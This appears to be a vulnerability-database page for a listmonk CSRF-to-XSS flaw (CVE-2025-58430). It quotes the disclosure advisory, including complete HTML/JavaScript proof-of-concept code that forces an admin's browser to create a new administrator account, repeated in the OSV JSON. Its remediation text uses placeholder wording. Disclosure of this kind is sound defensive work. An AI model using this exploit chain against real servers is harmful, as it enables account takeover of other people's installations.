CVE-2025-58430: listmonk Cross-Site Scripting Vulnerability
HIGH
Advisory Identifier:
GHSA-rf24-wg77-gq7w
Advisory Summary
CVE-2025-58430 is a HIGH cross-site scripting vulnerability (CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)) affecting listmonk libraries in the Go ecosystem. The issue involves csrf to xss chain can lead to admin account takeover. Remediation is available in the latest vendor maintenance releases.
CVE-2025-58430 at a Glance
CVE Identifier
CVE-2025-58430
GHSA Identifier
GHSA-rf24-wg77-gq7w
Severity
HIGH
CVSS v3.1 Base Score
N/A
CWE Classification
CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
Affected Product
listmonk
Package Ecosystem
Go
Published Date
Last Updated
How to Fix CVE-2025-58430
To remediate this vulnerability, upgrade all affected listmonk dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
github.com/knadh/listmonk
fixed: Latest secure release
Upgrade github.com/knadh/listmonk to Latest secure release
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/knadh/listmonkHow to Check if You Are Affected
To determine whether your application is affected by CVE-2025-58430, inspect your project dependencies for listmonk:
inspect dependencies for github.com/knadh/listmonkAnalyze the terminal output to locate any version of listmonk in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS), where the product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as "<", ">", and "&" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages. In listmonk, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
### Summary
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.
### Details
During a security evaluation of the webapp, every http request in addition to the session cookie `session` there included `nonce`. The value is not checked and validated by the backend, removing `nonce` allows the requests to be processed correctly.
This may seem harmless, but if chained to other vulnerabilities it can become a critical vulnerability.
Example HTTP request without nonce :
<img width="1418" height="772" alt="user_creation_without_nonce_burp_request" src="https://github.com/user-attachments/assets/a5026cdd-d360-4919-ae66-29856c3d3f32" />
### PoC
Let's look at a “chain” case of vulnerabilities that include the CSRF and XSS.
An admin (or any user with permissions) can create templates and preview them (`POST /api/templates/preview` ) making it possible to execute javascript code. For example:
<img width="1912" height="935" alt="browser_template_editor_with_alert" src="https://github.com/user-attachments/assets/a928a4bd-1e5f-4fbe-af08-196362e271ad" />
And this request can also be made without `nonce`.
<img width="1883" height="707" alt="template_preview_burp_request_without_nonce" src="https://github.com/user-attachments/assets/202c6a39-b62f-48c1-becb-688c3325dc41" />
Then an attacker can exploit this lack of validation to trigger an XSS in the victim's browser (let's assume the admin).
This is possible for 2 reasons :
1) There is no validation of the `nonce` (as mentioned above)
2) The `session` cookie has no samesite flag
<img width="1557" height="593" alt="no_same_site_response_cookie_burp" src="https://github.com/user-attachments/assets/c3fab6ac-5068-44cd-850a-bd095c10cb77" />
As we can see from the image above, no samesite cookie policy is set during login, so the browser will use the default one.
Some browsers by default set `Lax` (Chrome), but many others use `None` (Firefox, Edge).
For example, we can host this html page to prompt the admin to make a post request
```html
<html>
<!-- CSRF PoC -->
<body>
<form action="https://10.100.132.47/api/templates/preview" method="POST">
<input type="hidden" name="template_type" value="campaign" />
<input type="hidden" name="body" value="{{ template "content" . }} <script>alert()</script>" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
The CSRF+XSS PoC written above has been tested on 3 browsers (using their latest versions)
- Chrome ❌
- Firefox ✅
- Edge ✅
Example in Firefox :
We can now replace the simple `alert()` with any “harmful” request. For example, the creation of a new admin account:
<img width="1226" height="925" alt="browser_template_editor_with_final_payload" src="https://github.com/user-attachments/assets/a5a79c50-45f4-4a9c-80a5-683803349d1a" />
```html
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https:\/\/10.100.132.47\/api\/users", true);
xhr.setRequestHeader("Content-Type", "application\/json");
xhr.withCredentials = true;
var body = "{\"username\":\"testuser4\",\"email\":\"test3@test.com\",\"name\":\"testuser4\",\"password\":\"Test12345\",\"passwordLogin\":true,\"type\":\"user\",\"status\":\"enabled\",\"listRoleId\":\"\",\"userRoleId\":1,\"password2\":\"Test12345\",\"password_login\":true,\"user_role_id\":1,\"list_role_id\":null}";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest();
</script>
```
The final poc that exploits CSRF + XSS, allowing admin account creation:
```html
<html>
<!-- CSRF PoC -->
<body>
<form action="https://10.100.132.47/api/templates/preview" method="POST">
<input type="hidden" name="template_type" value="campaign" />
<input type="hidden" name="body" value="{{ template "content" . }}     <script>       function submitRequest()       {         var xhr = new XMLHttpRequest();         xhr.open("POST", "https:\/\/10.100.132.47\/api\/users", true);         xhr.setRequestHeader("Content-Type", "application\/json");         xhr.withCredentials = true;         var body = "{\"username\":\"testuser4\",\"email\":\"test3@test.com\",\"name\":\"testuser4\",\"password\":\"Test12345\",\"passwordLogin\":true,\"type\":\"user\",\"status\":\"enabled\",\"listRoleId\":\"\",\"userRoleId\":1,\"password2\":\"Test12345\",\"password_login\":true,\"user_role_id\":1,\"list_role_id\":null}";         var aBody = new Uint8Array(body.length);         for (var i = 0; i < aBody.length; i++)           aBody[i] = body.charCodeAt(i);          xhr.send(new Blob([aBody]));       }       submitRequest();     </script>" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
### Impact
Admin account creation
CVE-2025-58430 Affected listmonk Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/knadh/listmonk
|
Go |
≤ 1.1.0
|
|
References
Frequently Asked Questions
What is CVE-2025-58430?
CVE-2025-58430 is a security vulnerability in listmonk involving CSRF to XSS Chain can Lead to Admin Account Takeover under CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS).
Which listmonk versions are affected?
Affected versions include releases prior to current release patches across affected packages: github.com/knadh/listmonk.
What version fixes CVE-2025-58430?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/knadh/listmonk affected?
Yes, github.com/knadh/listmonk is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What CWE is associated with CVE-2025-58430?
CVE-2025-58430 is classified under CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) (The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as "<", ">", and "&" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages.).
How can I check Go dependencies for CVE-2025-58430?
Run the dependency tree command: 'inspect dependencies for github.com/knadh/listmonk'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-rf24-wg77-gq7w",
"modified" : "2025-09-10T21:08:05Z",
"published" : "2025-09-09T20:42:32Z",
"aliases" : [ "CVE-2025-58430" ],
"summary" : "listmonk: CSRF to XSS Chain can Lead to Admin Account Takeover",
"details" : "### Summary\n\nCross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.\n\n\n### Details\n\nDuring a security evaluation of the webapp, every http request in addition to the session cookie `session` there included `nonce`. The value is not checked and validated by the backend, removing `nonce` allows the requests to be processed correctly.\n\nThis may seem harmless, but if chained to other vulnerabilities it can become a critical vulnerability.\n\nExample HTTP request without nonce : \n<img width=\"1418\" height=\"772\" alt=\"user_creation_without_nonce_burp_request\" src=\"https://github.com/user-attachments/assets/a5026cdd-d360-4919-ae66-29856c3d3f32\" />\n\n\n\n### PoC\n\nLet's look at a “chain” case of vulnerabilities that include the CSRF and XSS.\n\nAn admin (or any user with permissions) can create templates and preview them (`POST /api/templates/preview` ) making it possible to execute javascript code. For example:\n\n<img width=\"1912\" height=\"935\" alt=\"browser_template_editor_with_alert\" src=\"https://github.com/user-attachments/assets/a928a4bd-1e5f-4fbe-af08-196362e271ad\" />\n\nAnd this request can also be made without `nonce`.\n\n<img width=\"1883\" height=\"707\" alt=\"template_preview_burp_request_without_nonce\" src=\"https://github.com/user-attachments/assets/202c6a39-b62f-48c1-becb-688c3325dc41\" />\n\nThen an attacker can exploit this lack of validation to trigger an XSS in the victim's browser (let's assume the admin).\n\nThis is possible for 2 reasons :\n 1) There is no validation of the `nonce` (as mentioned above)\n 2) The `session` cookie has no samesite flag\n\n<img width=\"1557\" height=\"593\" alt=\"no_same_site_response_cookie_burp\" src=\"https://github.com/user-attachments/assets/c3fab6ac-5068-44cd-850a-bd095c10cb77\" />\n\nAs we can see from the image above, no samesite cookie policy is set during login, so the browser will use the default one.\nSome browsers by default set `Lax` (Chrome), but many others use `None` (Firefox, Edge).\n\nFor example, we can host this html page to prompt the admin to make a post request\n\n```html\n<html>\n <!-- CSRF PoC -->\n <body>\n <form action=\"https://10.100.132.47/api/templates/preview\" method=\"POST\">\n <input type=\"hidden\" name=\"template_type\" value=\"campaign\" />\n <input type=\"hidden\" name=\"body\" value=\"{{ template "content" . }} <script>alert()</script>\" />\n <input type=\"submit\" value=\"Submit request\" />\n </form>\n <script>\n document.forms[0].submit();\n </script>\n </body>\n</html>\n\n\n```\n\n\n\nThe CSRF+XSS PoC written above has been tested on 3 browsers (using their latest versions)\n- Chrome ❌\n- Firefox ✅\n- Edge ✅\n\nExample in Firefox : \n\n\n\nWe can now replace the simple `alert()` with any “harmful” request. For example, the creation of a new admin account:\n<img width=\"1226\" height=\"925\" alt=\"browser_template_editor_with_final_payload\" src=\"https://github.com/user-attachments/assets/a5a79c50-45f4-4a9c-80a5-683803349d1a\" />\n\n```html\n <script>\n function submitRequest()\n {\n var xhr = new XMLHttpRequest();\n xhr.open(\"POST\", \"https:\\/\\/10.100.132.47\\/api\\/users\", true);\n xhr.setRequestHeader(\"Content-Type\", \"application\\/json\");\n xhr.withCredentials = true;\n var body = \"{\\\"username\\\":\\\"testuser4\\\",\\\"email\\\":\\\"test3@test.com\\\",\\\"name\\\":\\\"testuser4\\\",\\\"password\\\":\\\"Test12345\\\",\\\"passwordLogin\\\":true,\\\"type\\\":\\\"user\\\",\\\"status\\\":\\\"enabled\\\",\\\"listRoleId\\\":\\\"\\\",\\\"userRoleId\\\":1,\\\"password2\\\":\\\"Test12345\\\",\\\"password_login\\\":true,\\\"user_role_id\\\":1,\\\"list_role_id\\\":null}\";\n var aBody = new Uint8Array(body.length);\n for (var i = 0; i < aBody.length; i++)\n aBody[i] = body.charCodeAt(i); \n xhr.send(new Blob([aBody]));\n }\n submitRequest();\n </script>\n```\n\nThe final poc that exploits CSRF + XSS, allowing admin account creation:\n\n```html\n\n<html>\n <!-- CSRF PoC -->\n <body>\n <form action=\"https://10.100.132.47/api/templates/preview\" method=\"POST\">\n <input type=\"hidden\" name=\"template_type\" value=\"campaign\" />\n <input type=\"hidden\" name=\"body\" value=\"{{ template "content" . }}     <script>       function submitRequest()       {         var xhr = new XMLHttpRequest();         xhr.open("POST", "https:\/\/10.100.132.47\/api\/users", true);         xhr.setRequestHeader("Content-Type", "application\/json");         xhr.withCredentials = true;         var body = "{\"username\":\"testuser4\",\"email\":\"test3@test.com\",\"name\":\"testuser4\",\"password\":\"Test12345\",\"passwordLogin\":true,\"type\":\"user\",\"status\":\"enabled\",\"listRoleId\":\"\",\"userRoleId\":1,\"password2\":\"Test12345\",\"password_login\":true,\"user_role_id\":1,\"list_role_id\":null}";         var aBody = new Uint8Array(body.length);         for (var i = 0; i < aBody.length; i++)           aBody[i] = body.charCodeAt(i);          xhr.send(new Blob([aBody]));       }       submitRequest();     </script>\" />\n <input type=\"submit\" value=\"Submit request\" />\n </form>\n <script>\n document.forms[0].submit();\n </script>\n </body>\n</html>\n\n\n```\n\n### Impact\nAdmin account creation",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/knadh/listmonk"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "1.1.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/knadh/listmonk/security/advisories/GHSA-rf24-wg77-gq7w"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-58430"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/knadh/listmonk"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-352", "CWE-79", "CWE-80" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2025-09-09T20:42:32Z",
"nvd_published_at" : "2025-09-09T20:15:48Z"
}
}